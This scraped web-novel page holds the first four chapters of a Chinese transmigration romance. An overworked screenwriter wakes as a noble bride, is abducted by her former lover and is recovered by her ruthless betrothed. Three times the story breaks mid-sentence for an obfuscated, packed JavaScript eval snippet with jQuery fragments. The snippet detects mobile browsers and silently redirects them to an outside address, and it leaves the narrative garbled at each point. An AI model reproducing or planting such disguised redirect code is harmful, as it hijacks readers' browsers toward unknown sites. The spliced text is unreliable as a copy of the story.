《穿书后只想当娇妻》
1. 第一章
一觉醒来,宓瑶饶是盖着两床大红织金百子图丝绵锦衾,屋内三个银丝炭火盆都没灭,依然感觉到了今日比昨日冷了几分。
推开雕花舷窗,晓雾弥漫,远处的连绵的山脉白森森的一片,已经看不到几点绿色。
江风如刀刃涌入,宓瑶连忙合上轩窓,裹紧被子闭眼躺了一会才缓过来。
“阿姊,你这是又睡了?”
虞琇睡在旁侧的耳房,她起得早用完了早食,琢磨着宓瑶醒来的时辰,在门边果真听到了动静,只是端了热水上来,发现宓瑶还是躺着。
宓瑶“唔”了声,抱着锦衾坐起,等着虞琇把滴有牡丹花露,放了菊花,桑霜叶的热水放在面前,才困倦地睁开眼开始蒸面。
伺候宓瑶起床,虞琇一个人可不够。
两手大的浅底雕杏花鹦鹉银盆由宓瑶的侍女霜华捧着,虞琇则是从玳瑁匣中取出雕花象牙梳篦一边为宓瑶梳发,一边瞧着别让她发困倒进温水里。
“阿姊你的头发真是越养越好了。”
虞琇每次为宓瑶梳发都忍不住感叹。
她记忆中,半年前宓瑶的头发虽然比寻常女子黑亮,却不浓密,平日要佩戴髲鬄才能撑得起金钿步摇,但如今不必那些金银珠宝增光,宓瑶这头乌丝也柔美如仙人披帛。
宓瑶刚开始养发,她只觉自个多了个讨好宓瑶,在她身边伺候的机会,但谁想到在细细照料下,头发真能养的与以往不同。
除却如绸的乌发,这半年来宓瑶其他的变化也开阔了她的眼界。
宓瑶十四便有了江南第一美人的美誉,容貌自然与旁的俗女不同,天生瑰姿艳逸,仪静体闲,但谁想到自小美到大的牡丹,还能盛放更妍丽的光华。
以往宓瑶爱美只是停留在珠宝衣着,她更多时间是研学琴棋书画,在各家游宴上博个才貌无双。
而半年前定下婚事后,宓瑶便变了不少,花会游宴不再见她的身影,每日在房内停留时辰大大增多,除此之外就是伺候她的娇颜。
此时熏面的银盆已经端走,诗雅将软绫帕子放入檀香、积雪草、佛手柑熬制的汁水中,拧干后开始给宓瑶敷眼。
冷热交替了几次,眼睫浓密如小伞的美目彻底睁开,宓瑶捧着几味药材与花材调配出的晨茶慢饮。
同时霜华捧起了三彩瓷釉鱼缸。
宓瑶目光落入,捕捉其中灵活游动的小鱼活动眼珠。
热水蒸腾的水汽上涌像是飘渺的仙雾,宓瑶则是雾中冰肌玉骨,肤映流霞的蓬莱仙子。
这半年来,宓瑶五官模样并未发生什么改变。
小鹿杏眼,琼鼻朱唇。
但却又像不一样了。
虞琇不知道该如何形容,大概就是以前只是绰约若仙,而如今脸还是那张脸,却有了不食人间烟火的仙气,成了环姿艳逸的真神女。
“琇儿若是有阿姊两分美貌,定能让姐夫多看两眼。”
宓瑶不喜欢梳繁复折腾发丝的发髻,简单的坠马髻加上祥云荷花金掐玉发钗,便移了脚开始穿衣。
听到虞琇的话,触到虞琇稚嫩脸上的渴望与期待,宓瑶动作不自觉顿了下。
她穿进这本书里已经有半年,她接受了自己的新身份,并且坦然地享受起新身份带给她阶级地位的跃升。
但听到十三岁女孩期盼得到未来姐夫的喜欢,她依然觉得炸裂。
虞琇是原主同父异母的妹妹,跟原主是正室嫡母所出不同,虞琇的生母是原主母亲的丫鬟。
原主的父亲本事不大,播种能力却是一顶一。
原主除了有个亲生哥哥之外,还有十多个同父异母的兄弟姐妹。
哪怕虞家是名门望族,孩子太多依然不值钱,就导致虞府里有些没娘的姑娘过得还不如得宠的丫鬟婢女。
所以虞琇到了会跑会跳的年纪就跟在了原主的身后,说是庶妹实则跟原主大丫鬟差不多。
对此虞琇也甘之如饴就对了。
就连这次原主远嫁蜀地,虞琇不该跟来,是虞琇去跪了虞家家主,求着要做媵妾才跟着宓瑶上了船。
宓瑶想了想书中虞琇的未来,姐夫的眷顾是没有的,男主嫌她年纪太小,不止没碰过她还在她不断靠近讨好时给了她难堪。
而讨好不了男主,虞琇自然只能扒紧原主,继续当她指哪打哪的狗腿子。
书里没有提虞琇的下场,但原主死的惨烈,想来她也好不到哪里去。
《霸主》是一本男频爽文,原主作为寡王男主的前妻,没嫁给男主之前的日子还算过得去。
原主因为容貌出众,十三四岁就被家族造势,捧出了江南第一美人的噱头。
但世家吹嘘推捧家中女眷容貌是什么心思昭然若揭。
虞家家主原本打算把原主送给淮南节度使为继室,但江宁郡王在花宴偶然见了她一面后心中惦念。
两大势力不合又都对原主有意,原主的婚事就从十四拖到了十七。
直到半年前剑南节度使养子萧欻平乱有功,宴席上提及他还未娶妻,问他对哪家闺秀有意,他玩笑道哪家不重要,他只想要让人见而忘俗的美人。
话落音,有人提及了她。
宴席过后没多久萧欻就向虞家求娶,虞家家主看不上萧欻养子身份,但迫于剑南节度使势头正盛,加之留下原主不嫁日后势必得罪淮南节度使或是江宁郡王,干脆顺水推舟应了婚事。
而原主早与寄住在府中的表哥两情缱绻,得知婚事定下就跟表哥商量逃婚,并且让虞琇替嫁。
可惜萧欻不认替嫁,虞家找不到人,他自个带剑南军找到了原主。
原主被抓到后对萧欻满腔恨意,趁着他军务繁忙,到处征战,折磨死了他两个孩子,等到萧欻发现时,他三个孩子就剩了一个半死不活的大儿子。
萧欻对原主恨之入骨,不愿原主只是简单偿命。
先把原主关了水虫无数的水牢,而后亲手扒皮抽筋,只剩一口气时才给了最后一击,五马分尸了原
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584017|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主。
想到原主的遭受的酷刑,宓瑶忍不住牙酸,原主的行为恶劣,但萧欻也着实是个变态。
她会看到《霸主》这本书,是因为她是编剧,影视公司买了原著后,觉得书中男主太寡没有CP感情线,希望她能在剧本里给男主加上官配女主。
看到男主对前妻的手段,以及作者十分详细描写了这些手段后前妻的惨状,还有男主亢奋的情绪,她就觉得男主寡王是正常的,这样的男人不应该有官配。
谁知道她这个想法产生没多久,文档打开刚敲几个字,心脏剧痛,再醒来就到了这里。
做她这一行深夜加班是常事,她之前心脏就时常抽痛,压力大的时候左脸神经还会控制不住的痉挛。
她怕自己猝死,一直想着手上工作结束后就去医院做个彻底的检查。
但上份工作结束,下份工作立刻就来了,手上的工作停不下来,她只有用少喝几杯咖啡的方式养生。
谁知道最后的结局还是猝死。
想到自己是死在工作岗上,她穿进书后在床上躺了快一个月。
每天除了睡觉就是吃饭发呆,某日实在受不了身上的臭味去洗了澡,看到身上吹弹可破的玉肌,还有镜中神如朝露,尽态极妍的脸,她才生起了一丝斗志。
除了睡觉吃饭,她开始费时费力的养护自己的新身体。
原主除了名跟她一样,五官也与她相同,只是原主靡颜腻理,一看就是十六七岁的少女,而她的脸在她没日没夜的加班下,体态变形,皮肤粗糙,二十多岁已经有了四十多岁的眼袋泪沟法令纹。
她青春期因为美貌得到过红利,但更多的是身边乌七八糟的声音,她涂护肤品化妆就是爱漂亮不老实,生活上得到便利就是靠脸,成绩稍微下降就是只有脸没有脑子。
只能说她那时候太年轻,太在乎周边的声音,为了证明自己,大学期间她就开始没日没夜的干活,毕业一年后组建了自己的工作室。
整个人也越来越靠近躲在阴暗角落,带着深度黑框眼镜一脸苍白不断敲击键盘靠谱编剧形象。
如果问她努力的那些年有没有得到什么,一定是得到了,她还了助学贷款,有了市中心大平层,手下有不少员工叫她老板。
但是……好累啊。
如果没有猝死,她会选择继续奋斗,跻身业内的一流编剧,但既然都死了。
比起奋斗的牛马,她现在只想当躺平的娇妻。
男主想要听话漂亮的花瓶老婆,她就会是个完美的花瓶,脚指头也散发干净的花香,至于其他,原主折磨男主孩子落得凄惨下场什么的。
她是来度假是来享受人生,不会像原主一样追求真爱,只要让她吃好喝好躺好,什么继子继女她不会看不顺眼,让她叫他们宝宝都行。
当然最好就是各自安好,她不管也不折磨他们,他们也理她远一点。
让她安安静静当一个漂亮处处精致,大事小事都不需要动脑的花瓶娇妻。
2. 第二章
宓瑶用完早点,如往常一样在船上找了避风看书的好位置,半张脸窝在雪白狐狸毛中,远眺覆盖雪青山,近赏候鸟捕鱼,耳听楼船划开江水碰触薄冰叮咚脆响,偶尔低头瞟两眼闲书,打了个哈欠开始午睡。
睡醒后又看了会书,管事过来通知船舶还有几个时辰靠岸,今夜要宿在驿舍,明日换陆路赶往夔州她才有起身的意思。
宓瑶对多快能见到男主既不期待也不害怕。
只是听闻马上靠岸,知晓明日会在马车上颠簸。
她打开了她的养护日注,把明日的护发改到了今日。
喝了一碗由黑豆黑芝麻核桃仁桑葚煮的养发汤,见时辰差不多回屋内散了发,开始涂抹何首乌和花油调配的养发膏。
霜华给宓瑶按摩头上穴位,诗雅则是拿了珍珠粉调制的养颜膏给宓瑶涂抹脸部和脖颈。
她回来之前屋内就先烧起了无烟的银丝炭,等到进到屋内,暖洋洋的馨香袭来,宓瑶又有了几分困意。
想睡便睡,她闭目又浅浅睡了半盏茶。
醒来她脸上发上的膏药已经清理干净,霜华和诗雅在给她烘干头发,虞琇则是用剩下的养颜膏敷了脸,拿了个榆木小杌坐在她身边,见她睁眼,立刻递上了香茗漱口。
“一直看着我作甚?”
察觉到虞琇的目光直勾勾落在自己身上,宓瑶提醒她一声,“你脸上的面膏要干了,去洗了罢。”
虞琇摸了摸脸上渐干的白膏,想到其中含有的药材,觉着才擦上就卸掉有些可惜,站起了也迟迟不去净面。
“阿姊,你说姐夫会喜欢我吗?”
一天连听虞琇提了两次萧欻,宓瑶想着应该是船舶靠岸,没几日就要与萧欻汇合,小丫头紧张才不停提起。
再想她平日敷面,虞琇都是在旁看着,或者为她捣药,今日却不同以往也敷了脸。
她不想干涉书中人物的行为,本来是打算等虞琇像是剧情中碰了壁,如剧情中一样不敢再招惹男主,老实在她身边待着。
但听到虞琇不停提及想得到萧欻的喜爱,忍不住开了口:“你为何要他喜欢?你是我的妹妹,以前依靠的是我,往后就不想依靠我了?”
“我自然想依靠姐姐,可是……”
虞琇低眸搅动手指,期期艾艾,不晓得怎么说。
瞧她的样子,宓瑶猜得到她的顾虑:“我嫁给萧欻,仰仗他吃喝是我的事,你不须管这些,以前如何往后也依然如何就够了。”
宓瑶列出清萧的食物链,她以前的食物链的前端是虞家的大家长们,如今她嫁人了,她的前端就变为了萧欻。
虞琇若是想靠她得到庇护,一切维持原状就成。
但她说完后,虞琇依然是满腔话不知如何开口的模样,不晓得她是没听懂,还是更想越过她这个中端,去直接接轨萧欻这个上游。
等到被清晨寒风吹醒,宓瑶才明白,虞琇不是没听懂,她盯着她看是因为她们就要分别,她眼里的焦虑有不舍,也有她这个中游被弄走后,不知如何接轨上游的忐忑无措。
“嫮嫮你醒了?”
桓冠斌坐在车内,本就在如饥似渴地端详宓瑶,见她睁眼,立刻惊喜地抓住了她的手,“往后没人能再拆散我们!”
倏然放大的脸让宓瑶蹙眉往后移了移:“那可不是什么好事。”
打量所处的环境,目光划过车角黏腻的黑色污垢,还有破旧掉落定不住的轩苇,以及桓冠斌身上半新的墨绿锻服。
拥有原主的记忆,她知道桓冠斌身上这件衣裳是原主前一年做的。
原主借着给自己哥哥做衣裳,偷留了不少布与棉,也给桓冠斌做了件锦缎棉服。
这件衣裳几乎是桓冠斌去年的冬日皮肤,看袖口的磨损,今年应该也没少穿。
若是换做原主,大约觉得桓冠斌是重视她的心意。
但以她的记忆看来,桓冠斌单纯就是没钱买更体面的新衣罢了。
一个家族败落没什么进项的子弟,论才华只能写几首酸诗,既考不上科举无法入朝为官,又自持身份血统,看不上抄书、教书的苦活。
住的是虞家府邸外缘借给打秋风亲戚居住的茅茨屋,银钱不是这儿借点就是那儿拿点,凑合着过日子。
没身份没金银,长相也只是勉强算个白净清秀。
她只继承了原主的记忆,没有得到原主的思想,一开始她没明白原主为何要跟桓冠斌谈情说爱。
还想爱情真是让人捉摸不透的东西。
后头看了原主写的小札,大概明白了原主就跟她青春时期一样别扭。
只是她青春时期穷光顾着赚钱,而原主则是选了一个样样差劲的男人,来显示自个清高,不像旁人所想虚荣爱财,要靠容貌飞上枝头。
原本她穿来之后,就不打算跟桓冠斌搅合,知道了原主对他没有感情,更是把他抛之脑后。
谁知道她避过了原主跟情夫私奔的情节,半年没见的情夫还能联合虞琇,把她给偷出驿舍。
“把我送回去。”
“嫮嫮,你到底是怎么了?这些日子你就像是变了一个人。”
宓瑶醒来的冷言冷语就桓冠斌火热的心凉了一半,想到这半年来她的避而不见,桓冠斌急切地握住了她的手,却被她再次躲开。
“嫮嫮你难不成真想嫁给萧欻那个莽夫,他无门无第,目不识丁,不过运气好救了剑南节度使成了节度使养子,你嫁给他就不怕被世人嗤笑?!”
“所以不嫁给他,嫁给你生一串穷崽子,一起依附我娘家,求我娘家施舍?”
马车又脏又冷,还有股畜生的腥味混合男人的酸臭,宓瑶十分不耐,“送我回去,都半年了,你还不懂我看不上你?”
“不,我不信,嫮嫮我知道你,你与那些俗女不同,金银与你不过是铜臭阿堵物,你怎么可能在意?”
桓冠斌神情慌乱,像是信了宓瑶的话,但又不愿相信证明他与众不同的勋荣已经消失。
宓瑶管他信不信。
她现在只想逃离这个地方。
拨开沾有斑驳污渍的帷帘,宓瑶想叫马夫停下赶车,还未开口又被桓冠斌扯进了车内。
“嫮嫮别闹脾气,我们当务之急是离开荆州,等投奔了姨母,你就不必再在意与萧欻的婚约。”
“那是我姨母,与你并无关系,你有胆子拐人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584018|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却没处安置,还要往女方的亲戚家里躲。”
宓瑶知道他是在说她在池州的姨母,听他理所当然投奔语气,厌恶地蹙了蹙眉。
“我没有说笑,也没有说气话,我是真的嫌你穷,嫌你长得不成,才华也平平,你若真惦念情分,就把我送回去。”
“我知道嫮嫮你是怕连累我,怕虞伯怪罪,才刻意做出这幅姿态,你怎会甘愿嫁给萧欻那个莽夫!”
看出桓冠斌是面子挂不住,不愿意承认他走了狗屎运得到的情人终于有了理智。
宓瑶有些累了。
每日长时间的咸鱼躺不会让她睡饱了平日就能多出几分精力,只会让她的身体更适应长时间的休息。
不想跟傻瓜浪费心气。
想到剧情中原主跟桓冠斌私奔后,萧欻没费什么功夫就逮住两人。
宓瑶觉着只能等萧欻找上门了。
这离夔州不远,希望他能快点逮到她,让她少受点罪。
“去换辆干净宽敞的马车,这车又臭又颠,你受得了我可受不住。”
知道桓冠斌身上不可能有银子换车,宓瑶打开了身旁一看就是属于她的包裹。
拉开缎布的活节,宓瑶掀开红木匣,嗤了声,“你这人还真是说一套做一套,一边视金钱为粪土,一边逮着我最贵的东西偷。”
匣子一共三层,装的全都是她最贵重的首饰。
桓冠斌被宓瑶语气中的讥讽刺伤,面皮涨红:“这些是阿琇收拾的行囊,与我没有关系。”
宓瑶眼波流转,轻瞥了他一眼,明显不信。
“嫮嫮你怎会变得如此不可理喻?这半年来是不是有谁跟你说了什么?”
宓瑶昏迷时,他还在惊叹她的美貌,觉着她美过从前,往常只占三分春色,如今粉面含春,幽兰之姿,美的不似真人。
而今她醒来张嘴就是挖苦嫌恶,让他无法在欣赏她的美面。
“看不上你就是不可理喻?”
宓瑶抱紧了身上的白狐裘免得自己在这破地方冻病。
大兴崇尚丰腴美人,偏偏原主喜爱魏晋风流,觉着美人就是削瘦才有仙娥般冷清之美。
而原主天生又是玲珑有致的基因,她刚来时胸被缠得喘不过来气,肚子也饿的呱呱叫。
与她穿来过来后相同,原主平时也常不下床行走,但不同的是她是因为懒,而原主是因为折腾自己吃不饱体弱缠绵病榻。
这段时间她极爱惜身体,到了深冬时节,一场风寒,一个喷嚏都没打过,她真怕今日倒霉受寒风来场大病。
而人就是怕什么来什么。
几个时辰后,宓瑶头晕转醒。
桓冠斌有几分骨气但是不多,他嫌她嘴毒,用迷药又把她迷晕了一遭。
没说报复她把她抛弃路上,而是扔了她充满铜臭的首饰匣。
车也换了,只是从脏马车换成了铺着稻草搭了围棚的牛车。
感受到开始发干发热的喉管,宓瑶觉着他还不如脾气大一点,直接把她给杀了。
反正她本就是个死人,享受了那么久死了也不亏,但让她受没意思,不知道什么时候能结束的苦就让她心烦了。
3. 第三章
“你脑子是有什么毛病?”
桓冠斌听到佳人冷语,态度已经不复之前那般热烈,晓得她是不满马车换牛车,解释道:“如今我们要走陆路离开荆州,到合适地方才能乘船前往池州,马车太过显眼,牛车方便出城。”
嗅着身上混合了底下草垫相同的土腥味,宓瑶猜到白日时桓冠斌为了掩人耳目,应该把她藏进了潮湿的茅草。
想到这个,宓瑶神色难看。
“离开荆州,去往池州又如何?你是在池州有大官亲戚,还是你桓冠斌本事过人,在旁人不知的情况是隐藏豪商,产业遍布大兴,池州有几十个铺子供养你吃喝拉撒。”
“商贾是贱业,嫮嫮怎会觉得我会经商……”
“那是因为我未曾想过有人会如此无脑。我姨母不过县令夫人,你打算借着我去她那里白吃白喝多久,你一无才华二无家族托底,你脑子入水觉着我倾心于你,非你不可就算了,你就不能考虑到了池州过后,你要靠什么过日子?”
嗓子不适,宓瑶越说越气,“我每日吃的,喝的,脸上摸的,身上戴的,你供得起吗?你掳走我之前没有问过我的意思?”
“半年避而不见,退回了所有你送的物件,你还有什么不懂的地方,还什么我嫁人是为了你好,对,我的确是为了你好,你这样的穷鬼,如何配得我这般的美人青睐,你我之间犹如天堑,你祖坟冒青烟运气好能与我相好了几日还不知足,竟然妄想霸占我一辈子。”
“嫮嫮……”
桓冠斌倒也不是死皮赖脸到了极致,白日宓瑶说的话,他事后细想,就觉着他可能是一厢情愿,宓瑶或许真已变心,不觉他是那个知她懂她的良人。
本就想自己策划这出营救带了自作多情的成分,再听宓瑶句句剜心之语,桓冠斌眼眶泛起泪光。
他本就不是什么恶人,不过是家中曾经风光,家中长辈交道要标榜身份,不堕家族之威。
往常宓瑶是最爱他的清高,不似俗人,谁知现在都变成了她看不上他的指摘。
见他落泪,宓瑶没有心软,而是更为不耐。
“你既没本事供养不起我,便该有自知之明放我回去,而不是在这里无措哭泣,只有三岁稚童才会抓着不属于自己的东西哭闹不止。”
“嫮嫮,你真想嫁给萧莽?”
桓冠斌满脸泪花,忍痛再问了一次。
“不若?”
感觉四周又冷了几分,宓瑶抬眸,果真是下雪了。
白玉般的素尘自漆黑天穹落下,轻若鸟羽,路道除却牛蹄在路上行走的响动,只剩雪粒扑落的簌簌。
“若不是你,我此时该是躺在驿舍软榻之上,屋中点着香炭,煦煦之中,我挑起窗棂,欣赏我落地荆州后第一场初雪。”
说完,宓瑶看向桓冠斌,“送我回去罢,不若就杀了我,我宁愿死也不想在你身边受罪。”
桓冠斌泣不成声,哭了半晌才下了牛车跟车夫交代。
只是想回驿舍也不是那么容易。
天寒地冻,霰雪其雱,牛冷的不愿迈步,按计划到投宿的农家都困难重重,更何况是返回城中驿馆。
“你看你连偷人出逃这般重要的事都没所谋划,只会学小儿啼哭……地震了?”
宓瑶训人刚进入状态,便感知到地面震动,怔了怔,目光远眺,瞬息的功夫远处暗色破开,跳跃的火光连绵像是一条火蛇游弋。
对方明显比她更先发现他们。
火蛇逼近,数十匹龙颅突目,蹄如累曲的良驹包抄牛车,其上士兵各个穿着黑甲,面覆挡风幂,腰佩横刀,如同地狱来使静谧无声,漠然屹立周围。
驱马立于车前的男子头戴鎏金镶蓝宝石发冠,下半张脸用皮革面罩遮挡,琥珀色的眸子在橘红热光中像是冬日被打扰了睡眠的金蟒,狭长冰冷。
他目光扫过面色惊慌的马夫与车边细皮嫩肉的男人,最后落在旧黄残破的车棚没有遮挡住的桂粉撒花缎裙,开口问:“虞氏女?”
“你们是剑南军?”
桓冠斌没想到追兵会那么快追上他们,看到他们衣着上绣纹标记,挡在了宓瑶面前。
“是。”
开口男子目光对上桓冠斌,触到他眼角泪痕,嗤笑:“是你要带我的女人私逃?”
“你是萧欻!”
被剑南军的气势所摄,桓冠斌身体战栗,不过依然挡在宓瑶面前,愤怒地瞪着萧欻,“你不过是占了乱世的便宜得了一官半职的莽夫,满身泥点恶血,你好大的胆子,竟敢肖想嫮嫮。”
“嫮嫮?”
萧欻玩味地咀嚼女子小字,在桓冠斌惊叫中,抽出佩剑,寒光一闪,利刃越过车上两人头顶,挑开了遮挡的棚顶。
坐在桓冠斌身后的女子,肤比身上的白狐裘还白腻几分,似雪若冰,巴掌大的脸蛋有大半裸露在寒风之中,脸颊淡淡绯色像是蜀地开的最美的芙蓉,如蝶翼的眼睫下的杏眸清灵如秋水。
果真是江南第一美人。
美的名副其实。
见男人褐眸肆无忌惮地打量宓瑶,桓冠斌恨不得夺刀把男人砍于马下。
“你这蛮横无理的野人,你与嫮嫮云泥之别,嫮嫮与你成婚,跟皎洁明月被染上脏污有何不同!嫮嫮宁死也不会愿与你这样的刽子手成婚!”
听到桓冠斌替自己发言,宓瑶本想开口,就听马上男人嗤笑出声,男人低沉磁性的嗓音穿透遮面的皮革沾染了几分暗哑的厚闷。
见坐在潮湿茅草上冻得瑟瑟发抖的美人仰头看向他,萧欻并未移开眼眸,目光交错,他张嘴讥讽:“蠢人不懂,财权才是美人最好的补品。”
只有金银的堆砌,才能在严寒中照养暗香满盈,娇弱可人的名株。
娇妍的花儿在这破烂的牛车上可吸取不到任何养分,只会逐渐枯萎。
“你……”
桓冠斌正想反驳,就听到身后传来女子软糯轻柔的嗓音:“萧郎,你说的真好。”
宓瑶说完,抬手朝萧欻伸去。
“我被恶人掳走,幸而郎君赶来救我。”
“嫮嫮!”
桓冠斌眼眶又溢满了泪花,“你已亲眼见到这莽夫,你还愿与他成婚?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584019|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“萧郎威岸英俊,我见之更为欣喜,为何会不愿与他成婚?”
这话不是宓瑶乱说,书中从未说过男主英俊,只说他猿臂蜂腰,身量八丈,长了一张原主不喜,看之厌恶的脸。
而这张脸却极得属下信服。
这样的形容让她以为萧欻会是国字脸浓眉长相蓄胡的模样,但现在看到本人,却比她想的要好许多。
人肌肤不白但也不黑,处于淡麦色与黄白之间,天庭饱满,狭长的眼眸犹如名剑精雕细琢,锋芒毕露。
下半张脸虽被皮革遮挡,但明显是窄脸。
与这时代推崇的俊美不同,萧欻的五官深邃,长相充满了凌厉的攻击性,以原主偏爱魏晋风流的审美来说怪不得会不喜。
手放在寒风中,只是片刻宓瑶就冷得起了一层鸡皮疙瘩,正想要不要放下,萧欻策马往前握住了她的手。
粗粝宽大的手掌犹如火炉,让宓瑶暖的一颤。
宓瑶感叹于萧欻掌心的温度,萧欻则是惊叹于手中的触感。
似花似玉的柔夷让人觉着若是用力便像软雪般捏化了。
带着厚茧指腹来回摩挲了掌中软玉几次,萧欻真怕捏断了她的手,所以伸出另一只胳膊握住她的腰肢,把她抱到了马上。
手软人也轻的像是霓裳鸟羽,如麝般暖香袭来,萧欻眼眸微眯,握在宓瑶腰上的手紧了紧。
视线猛然升高,宓瑶没什么压力地往后靠在了萧欻身上。
他身着黑貂裘,再加上身强体健,体温比她高出数度,只有靠近他,她才觉得她能活过今晚。
“要杀要剐悉听尊便!”
见宓瑶与萧欻姿态亲昵,桓冠斌心如刀割,知道今夜逃不过萧欻清算,干脆自己开口求个了当。
“嫮嫮觉得如何?”
低沉的嗓音靠近耳畔,除了声音带来的震动,还有濡湿的热气。
宓瑶身体无意识地瑟缩,萧欻以为她是在情郎面前装不住了,却听她语调倦怠道:“萧郎既然都说他是掳了你的女人,既是冒犯了你,自然该你决定该如何处置,我听你的。”
宓瑶没有为桓冠斌求情的意思。
在书里面,男主找到了原主之后,并未杀了桓冠斌,而是当着原主的面划烂了桓冠斌的脸。
只是原主吓晕过后,以为男主杀了桓冠斌,所以对男主生起了报复的心思。
后面知道桓冠斌没死,也没办法让萧欻死去的孩子复活。
原主对桓冠斌有多少情分她不在意,她就是来度假,萧欻是毁桓冠斌的脸,还是杀了桓冠斌对她来说都无所谓。
反正都是纸片人,只要不耽误她享受,谁关心纸片人的命运。
想是那么想,寒光略过,剑刃挑起的血珠融入雪花从上洒下,在桓冠斌惨叫中,宓瑶摸了摸脸上溅上的温热,看着手上的猩红脑袋有些发昏。
不知是被吓,还是在雪地里待得太久,寒风侵肌,宓瑶头一沉晕了过去。
感觉到怀里的身体瘫软,萧欻翘了翘唇,没再看跪坐地上痛呼不止,泣涕如雨的男人,抱着人策马回转。
4. 第四章
睁开眼感觉到胸口的沉闷,宓瑶还以为自己是读档重来了。
直到虞琇边哭边把药递到她跟前,她才失望地侧过了脸。
刚穿来的半年是她最轻松的时刻,每日不是躺着,就是琢磨如何娇养自个,若是再重复一遍她也不觉得有什么所谓。
可惜她明显没有拥有回档再来的金手指。
“阿姊你醒了……”
虞琇呜咽着把汤药放在了旁侧,含泪可怜巴巴地瞧着宓瑶,“我没想到阿姊会生病,若是知道阿姊会因此病倒,就不会听桓表哥的话让他接走你。”
意识到心口的闷疼是风寒气滞,宓瑶撑着床沿坐起:“去给我准备清口的香茗,还压苦味的蜜饯来。”
等到虞琇送来东西,宓瑶试了温度,一口喝干净了药汁,吞嚼了米糕,才重新看向面前满脸眼泪的虞琇。
作为同父异母的姐妹,虞琇长得与原主还是有几分相似。
都是杏眼,只是虞琇的脸型偏方,看着少了灵巧,多了一丝愚钝的乖顺。
因为把周围人都当做度假游戏里的NPC,这还是宓瑶第一次仔细打量虞琇,以及思量她到底在想什么。
书中没有解析过虞琇具体的想法,所以她不知这次桓冠斌能带走她,是虞琇无意为之,还是刻意想弄走她。
触到虞琇眼里不断涌出的泪珠。
宓瑶怕她无休无止地哭下去,开了口:“桓冠斌找你帮忙,为何不跟我说?”
听到宓瑶因病声音沙哑,虞琇愧疚不安:“桓表哥说阿姊为了让父亲安心,才不得不嫁到蜀地,为了虞家,阿姊再痛苦也不会跟桓表哥走,所以只能瞒着阿姊行事……”
见虞琇抽泣地说不下去,宓瑶接道:“所以你日日在我跟前,你觉得我痛苦?”
这?
虞琇呆愣地睁大了眼珠,因为这句话一团浆糊的脑子,更是乱的没有头绪。
“我每日想吃什么吃什么,想喝什么喝什么,银钱取用不尽,有人伺候,洗脸都不需要自个动手,你觉得我哪里痛苦?”
“可是……阿姊喜欢桓表哥。”
“是以前喜欢还是现在喜欢?”
“……以前。”
“你既知道是以前,就不该把现在的我交给他。”
说完,宓瑶咳了几声,没了说话的兴致,又躺下闭眼休息。
虞琇在旁边站着,见宓瑶睡着,才洗去泪痕,坐在床边脚踏,忐忑地思索宓瑶刚刚与她说的话。
她自能感觉到现在的阿姊跟以往的阿姊不同。
以前的阿姊喜欢桓冠斌,跟外人不提,但在贴身伺候的丫鬟前面,经常提及桓冠斌说了什么做了什么,她又如何欢喜他那些与俗人不同的想法。
半年前阿姊病了一场后,就再未提过桓冠斌,而是收集了许多古方,迷上如何让自己更美。
不再束胸少食,越来越满意身体玲珑有致的丰腴。
就是意识到宓瑶的不同,她才开始害怕起来。
若是以往的阿姊,她做了媵妾,还有可能得到郎主几分疼爱,但现在的阿姊,没了尖锐的脾气,又貌若神女,郎主怎会多看她一眼。
这般她才有意无意在桓冠斌面前提起宓瑶不愿远嫁,不过是不愿阿爹不乐,桓冠斌则明显比她想得更多,自个编了一套宓瑶如今很痛苦的说辞。
她帮桓冠斌下药,还以为桓冠斌真能带宓瑶远走高飞,让她这个媵妾成为唯一去往益州的新娘子,谁晓得桓冠斌如此没用,不过一日宓瑶就回来了。
想到宓瑶方才打量她的眼神,虞琇不禁瑟瑟。
这个阿姊不像以前那个阿姊喜欢吟诗作对,每日除了享乐一概不管,但她感觉得出来,这个阿姊要更聪明。
她刚刚的说辞,阿姊并没有相信。
但阿姊也不像要与她计较。
只是提点她两句,就宽宥了她。
*
宓瑶在床上躺了三天,喝了五六碗汤药,到了第四天才有了病灶拔除,身体恢复运行的感觉。
就是这样她也没打算在这个天气冒险沐浴,只是没让虞琇把饭菜端到床上,下床用了早点。
“霜华和诗雅呢?还有这是哪?”
躺了几日,宓瑶才开始关心她怎么不在驿舍,以及她的婢女怎么不在身边。
虞琇早就习惯了如今这个阿姊对万事恣意懒散的态度,并不觉得奇怪。
开口解释道:“我也不知阿姊为何会在这里,是姐夫派人将我从驿舍接来,让我照顾阿姊。”
“只接了你?”
